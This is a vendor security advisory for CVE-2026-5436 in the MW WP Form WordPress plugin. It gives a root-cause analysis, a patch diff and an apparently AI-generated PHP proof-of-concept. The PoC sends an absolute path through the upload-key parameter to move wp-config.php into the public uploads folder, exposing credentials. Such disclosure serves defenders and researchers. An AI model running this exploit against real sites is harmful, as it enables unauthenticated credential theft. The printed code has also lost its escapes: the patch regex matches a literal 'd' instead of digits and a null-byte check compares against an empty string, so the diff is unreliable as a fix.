Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 18, 2026

CVE-2026-5436: MW WP Form <= 5.1.1 – Unauthenticated Arbitrary File Move via regenerate_upload_file_keys (mw-wp-form)

CVE ID CVE-2026-5436
Plugin mw-wp-form
Severity High (CVSS 8.1)
CWE 22
Vulnerable Version 5.1.1
Patched Version 5.1.2
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5436:
The MW WP Form WordPress plugin, versions up to and including 5.1.1, contains an unauthenticated arbitrary file move vulnerability. This flaw exists in the file upload handling mechanism when the ‘Saving inquiry data in database’ option is enabled. Attackers can exploit this to move arbitrary files on the server, potentially leading to remote code execution.

The root cause lies in insufficient validation of the $name parameter (upload field key) passed to the generate_user_file_dirpath() function in mw-wp-form/classes/models/class.directory.php. The attacker-controlled key arrives via the mwf_upload_files[] POST parameter. The plugin’s path_join() function returns absolute paths unchanged, discarding the intended base directory. During form processing, regenerate_upload_file_keys() in class.data.php iterates over these keys and calls generate_user_filepath() with the attacker-supplied key. The key survives validation because the targeted file (e.g., wp-config.php) genuinely exists at the absolute path. The _get_attachments() method then re-reads the surviving keys and passes the resolved file path to move_temp_file_to_upload_dir(), which calls rename() to move the file into the uploads folder.

Exploitation requires a form with a file upload field. An attacker submits a POST request containing a malicious mwf_upload_files[] parameter. The payload is an absolute server path to a sensitive file, such as /var/www/html/wp-config.php. The plugin processes this path as a valid upload key. The regenerate_upload_file_keys() function validates the file’s existence at the absolute path, then the _get_attachments() method retrieves the path and moves the file into the web-accessible uploads directory via rename().

The patch introduces multiple validation layers. The _is_valid_path_segment() method in class.directory.php now rejects absolute paths, directory traversal sequences (‘.’, ‘..’), and paths containing directory separators. The _is_within_expected_dir_candidate() method ensures the final constructed file path resides within the expected user-specific temporary directory. The generate_user_file_dirpath() and generate_user_filepath() functions now throw exceptions for invalid input, which calling code catches and logs. These changes prevent path traversal and absolute path injection.

Successful exploitation allows an unauthenticated attacker to move arbitrary files from the server’s filesystem into the web-accessible uploads directory. Moving critical files like wp-config.php can lead to remote code execution by exposing database credentials. Moving other sensitive files (e.g., .env, /etc/passwd) can lead to information disclosure, privilege escalation, or full system compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mw-wp-form/classes/controllers/class.main.php
+++ b/mw-wp-form/classes/controllers/class.main.php
@@ -332,9 +332,16 @@
 				continue;
 			}

-			$form_id  = MWF_Functions::get_form_id_from_form_key( $this->Data->get_form_key() );
-			$filepath = MW_WP_Form_Directory::generate_user_filepath( $form_id, $key, $upload_filename );
-			if ( ! file_exists( $filepath ) ) {
+			$form_id = MWF_Functions::get_form_id_from_form_key( $this->Data->get_form_key() );
+
+			try {
+				$filepath = MW_WP_Form_Directory::generate_user_filepath( $form_id, $key, $upload_filename );
+			} catch ( Exception $e ) {
+				error_log( $e->getMessage() );
+				continue;
+			}
+
+			if ( ! $filepath || ! file_exists( $filepath ) ) {
 				continue;
 			}

--- a/mw-wp-form/classes/models/class.data.php
+++ b/mw-wp-form/classes/models/class.data.php
@@ -607,8 +607,17 @@
 		foreach ( $upload_file_keys as $key => $upload_file_key ) {
 			$upload_filename = $this->get_post_value_by_key( $upload_file_key );
 			$form_id         = MWF_Functions::get_form_id_from_form_key( $this->get_form_key() );
-			$filepath        = MW_WP_Form_Directory::generate_user_filepath( $form_id, $upload_file_key, $upload_filename );
-			if ( ! $upload_filename || ! file_exists( $filepath ) ) {
+
+			try {
+				$filepath = MW_WP_Form_Directory::generate_user_filepath( $form_id, $upload_file_key, $upload_filename );
+			} catch ( Exception $e ) {
+				error_log( $e->getMessage() );
+				unset( $upload_file_keys[ $key ] );
+				$this->set( $upload_file_key, '' );
+				continue;
+			}
+
+			if ( ! $upload_filename || ! $filepath || ! file_exists( $filepath ) ) {
 				unset( $upload_file_keys[ $key ] );
 				$this->set( $upload_file_key, '' );
 			}
--- a/mw-wp-form/classes/models/class.directory.php
+++ b/mw-wp-form/classes/models/class.directory.php
@@ -39,6 +39,10 @@
 			throw new RuntimeException( '[MW WP Form] Failed to create user directory.' );
 		}

+		if ( ! preg_match( '/^d+$/', (string) $form_id ) ) {
+			throw new RuntimeException( '[MW WP Form] Invalid form ID.' );
+		}
+
 		$user_dir = path_join( static::get(), $saved_token );
 		$user_dir = path_join( $user_dir, (string) $form_id );

@@ -54,9 +58,17 @@
 	 * @throws RuntimeException When directory name is not token value.
 	 */
 	public static function generate_user_file_dirpath( $form_id, $name ) {
+		if ( ! static::_is_valid_path_segment( $name ) ) {
+			throw new RuntimeException( '[MW WP Form] Invalid file reference requested.' );
+		}
+
 		$user_dir      = static::generate_user_dirpath( $form_id );
 		$user_file_dir = path_join( $user_dir, $name );

+		if ( ! static::_is_within_expected_dir_candidate( $form_id, $user_file_dir ) ) {
+			throw new RuntimeException( '[MW WP Form] Invalid file reference requested.' );
+		}
+
 		return $user_file_dir;
 	}

@@ -140,20 +152,20 @@
 			return false;
 		}

+		if ( ! static::_is_valid_path_segment( $filename ) ) {
+			throw new RuntimeException( '[MW WP Form] Invalid file reference requested.' );
+		}
+
 		$user_file_dir = static::generate_user_file_dirpath( $form_id, $name );
 		if ( ! $user_file_dir || ! is_dir( $user_file_dir ) ) {
 			return false;
 		}

-		$normalized_filename = wp_normalize_path( $filename );
-		if (
-			wp_basename( $normalized_filename ) !== $normalized_filename ||
-			strstr( $normalized_filename, "" )
-		) {
+		$filepath = path_join( $user_file_dir, $filename );
+		if ( ! static::_is_within_expected_dir_candidate( $form_id, $filepath ) ) {
 			throw new RuntimeException( '[MW WP Form] Invalid file reference requested.' );
 		}

-		$filepath      = path_join( $user_file_dir, $filename );
 		$filepath      = wp_normalize_path( $filepath );
 		$user_file_dir = trailingslashit( wp_normalize_path( $user_file_dir ) );

@@ -177,6 +189,92 @@
 	}

 	/**
+	 * Return true when path segment is valid.
+	 *
+	 * @param string $value Path segment.
+	 * @return boolean
+	 */
+	protected static function _is_valid_path_segment( $value ) {
+		if ( ! is_string( $value ) || '' === $value ) {
+			return false;
+		}
+
+		$value = wp_normalize_path( $value );
+
+		if ( strstr( $value, "" ) ) {
+			return false;
+		}
+
+		if ( '.' === $value || '..' === $value ) {
+			return false;
+		}
+
+		if ( path_is_absolute( $value ) ) {
+			return false;
+		}
+
+		if ( wp_basename( $value ) !== $value ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Return true when candidate path is inside the current user's temp directory.
+	 *
+	 * @param int    $form_id Form ID.
+	 * @param string $path    Target path.
+	 * @return boolean
+	 */
+	protected static function _is_within_expected_dir_candidate( $form_id, $path ) {
+		$path = wp_normalize_path( $path );
+
+		$user_dir = static::_get_expected_user_dir( $form_id, static::get() );
+		if ( false === $user_dir ) {
+			return false;
+		}
+
+		$path           = untrailingslashit( $path );
+		$user_dir       = untrailingslashit( $user_dir );
+		$user_dir_slash = trailingslashit( $user_dir );
+
+		return $path === $user_dir || 0 === strpos( $path, $user_dir_slash );
+	}
+
+	/**
+	 * Return the expected user directory path.
+	 *
+	 * @param int         $form_id  Form ID.
+	 * @param string|bool $base_dir Base directory path.
+	 * @return string|false
+	 */
+	protected static function _get_expected_user_dir( $form_id, $base_dir ) {
+		$saved_token = MW_WP_Form_Csrf::saved_token();
+		$saved_token = $saved_token ? $saved_token : MW_WP_Form_Csrf::token();
+		if ( ! preg_match( '|^[a-z0-9]+$|', $saved_token ) ) {
+			return false;
+		}
+
+		if ( ! preg_match( '/^d+$/', (string) $form_id ) ) {
+			return false;
+		}
+
+		if ( ! $base_dir ) {
+			return false;
+		}
+
+		$base_dir = wp_normalize_path( $base_dir );
+
+		return wp_normalize_path(
+			path_join(
+				path_join( $base_dir, $saved_token ),
+				(string) $form_id
+			)
+		);
+	}
+
+	/**
 	 * Returns a list of saved file paths.
 	 *
 	 * @param int $form_id The form ID.
--- a/mw-wp-form/mw-wp-form.php
+++ b/mw-wp-form/mw-wp-form.php
@@ -3,7 +3,7 @@
  * Plugin Name: MW WP Form
  * Plugin URI: https://mw-wp-form.web-soudan.co.jp
  * Description: MW WP Form is shortcode base contact form plugin. This plugin have many features. For example you can use many validation rules, inquiry data saving, and chart aggregation using saved inquiry data.
- * Version: 5.1.1
+ * Version: 5.1.2
  * Requires at least: 6.0
  * Requires PHP: 8.0
  * Author: websoudan

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5436 - MW WP Form <= 5.1.1 - Unauthenticated Arbitrary File Move via regenerate_upload_file_keys
<?php

$target_url = 'http://target-site.com/'; // Target WordPress site URL
$form_url = $target_url . '?page_id=123'; // URL of a page containing the vulnerable MW WP Form
$absolute_file_path = '/var/www/html/wp-config.php'; // Absolute path to the file to move

// Step 1: Fetch the form page to obtain the nonce and form key
$ch = curl_init($form_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract the form's hidden fields (simplified - real extraction requires parsing)
// This PoC assumes we have obtained the required _wpnonce and form key (mw-wp-form-form-key)
// In a real attack, these would be parsed from the HTML response.
$form_key = 'example_form_key'; // Placeholder - extract from form
$nonce = 'example_nonce'; // Placeholder - extract from form

// Step 2: Craft the malicious POST request
$post_data = array(
    '_wpnonce' => $nonce,
    'mw-wp-form-form-key' => $form_key,
    // The exploit: inject an absolute path via the upload file key parameter
    'mwf_upload_files[upload_field]' => $absolute_file_path,
    // Other required form fields (example)
    'your-name' => 'test',
    'your-email' => 'test@example.com',
    'submit' => 'Confirm'
);

$ch = curl_init($form_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "Exploit attempt sent. Check the uploads directory for the moved file.n";
} else {
    echo "Request failed with HTTP code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School